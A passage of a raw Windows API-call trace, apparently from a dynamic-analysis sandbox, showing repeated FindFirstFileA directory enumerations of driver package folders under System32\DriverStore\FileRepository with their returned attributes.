ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3c1d4bca, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3c1d4bca, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.936] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\usbprint.inf_amd64_neutral_54948be2bc4bcdd1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x406847de, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x612333a3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x612333a3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.944] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\usbstor.inf_amd64_neutral_0725c2806a159a9d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39154b31, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3bd5e282, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3bd5e282, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.946] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\usbvideo.inf_amd64_neutral_836a6716cd56c692\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37986f05, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3b7dcf98, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3b7dcf98, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.947] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\vhdmp.inf_amd64_neutral_c3910bbf4fbccf97\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39239373, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3bdaa543, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3bdaa543, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.948] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\volsnap.inf_amd64_neutral_7499a4fac85b39fc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42a5f380, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61efe9fa, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61efe9fa, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.950] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\volume.inf_amd64_neutral_df8bea40ac96ca21\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x398eb15f, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3c0a40c8, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3c0a40c8, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.951] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\vsmraid.inf_amd64_neutral_be11b7aaa746e92d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4273f69a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61df4058, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61df4058, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.953] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\v_mscdsc.inf_amd64_neutral_8b1e6b55729c3283\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d330d20, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x606e4b0e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x606e4b0e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.954] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wave.inf_amd64_neutral_7a0a0b166f55e1aa\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e5a37c2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60a047f4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60a047f4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.955] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wceisvista.inf_amd64_neutral_3500779911f7f3ca\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3973c291, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5f614f8f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5f614f8f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.957] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wd.inf_amd64_neutral_759109899b486d47\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d58f06, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61f4acbb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61f4acbb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.962] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wdmaudio.inf_amd64_neutral_423894ded0ba8fdf\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39a0fcb6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5f6873b0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5f6873b0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.968] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wdma_usb.inf_amd64_neutral_7bb325bca8ea1218\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3787c563, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3b71e8b6, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3b71e8b6, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.970] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wdmvsc.inf_amd64_neutral_a2cf745000e2ea92\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8303bab1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x84112db0, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x83087f8f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.971] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wiabr002.inf_amd64_neutral_b4ea26a49ad66560\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b901aef, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60248065, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60248065, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.973] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wiabr004.inf_amd64_neutral_b1d90b3749c5e6a6\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b9c01d1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x602ba486, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x602ba486, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.975] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wiabr005.inf_amd64_neutral_e14a0514f37611d8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ba58752, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x602e05e6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x602e05e6, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.976] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wiabr006.inf_amd64_neutral_0232ca4f23224d01\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3baf0cd3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60306747, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60306747, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.982] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wiabr007.inf_amd64_neutral_442d902f3f3dd5b7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3bb89254, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6032c8a7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6032c8a7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.984] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wiabr008.inf_amd64_neutral_27d1c9a28eac4eed\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3bc217d5, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60352a07, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60352a07, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.986] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wiabr009.inf_amd64_neutral_2d7b3edfda95df40\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3bcb9d56, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60378b68, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60378b68, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.990] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wiabr00a.inf_amd64_neutral_6033065925bcc882\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3bd522d7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60378b68, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60378b68, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.996] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wiaca00a.inf_amd64_neutral_163313056d8f34ab\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3be36b19, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6039ecc8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6039ecc8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.010] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wiaca00b.inf_amd64_neutral_1aaa057d3d52ea43\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3bf1b35b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x603c4e28, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x603c4e28, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.021] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wiaca00c.inf_amd64_neutral_27f4ad26fea72eb1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c025cfd, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x603eaf88, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x603eaf88, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.031] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wiaca00d.inf_amd64_neutral_2c3623fa97b0c28e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c10a53e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x604110e9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x604110e9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.038] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wiaca00e.inf_amd64_neutral_5a376e6a7cb007d5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c1c8c20, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60437249, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60437249, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.046] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wiaca00f.inf_amd64_neutral_f7f7e179d99acc58\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c2d35c1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6045d3a9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6045d3a9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.065] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wiaca00i.inf_amd64_neutral_de104aaa48ee4b00\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c580e86, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60483509, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60483509, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.075] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wiacn001.inf_amd64_neutral_b7a0b2f53d745b5a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c6fdc49, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x604a966a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x604a966a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.085] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wiaep002.inf_amd64_neutral_0a982dec66379cb0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c8085eb, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x604f592a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x604f592a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.087] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wiaep003.inf_amd64_neutral_c2a98813147bf34e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c8c6ccc, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6051ba8b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6051ba8b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.125] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wiahp001.inf_amd64_neutral_aee49cdf3b352e58\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c9853ae, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60541beb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60541beb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.127] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wiaky002.inf_amd64_neutral_b898f5982403f3cb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ca1d92f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6058deab, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6058deab, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.134] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wialx002.inf_amd64_neutral_71f4aacee1aa9f06\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cab5eb0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6058deab, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6058deab, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.142] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wialx003.inf_amd64_neutral_db618863f9347f9a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cb4e431, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x605b400c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x605b400c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.149] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wialx004.inf_amd64_neutral_0a3a62ae6ed43127\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cc0cb12, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x605b400c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x605b400c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.158] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wialx005.inf_amd64_neutral_5304c93e2193f237\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cccb1f4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x605da16c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x605da16c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.160] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wialx006.inf_amd64_neutral_ae607a72b46f9cfc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cd3d615, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x605da16c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x605da16c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.161] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wiasa002.inf_amd64_neutral_6429a42f1243419a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ce21e56, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x606002cc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x606002cc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.176] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wiaxx002.inf_amd64_neutral_fbe080a7dd77c4a3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, 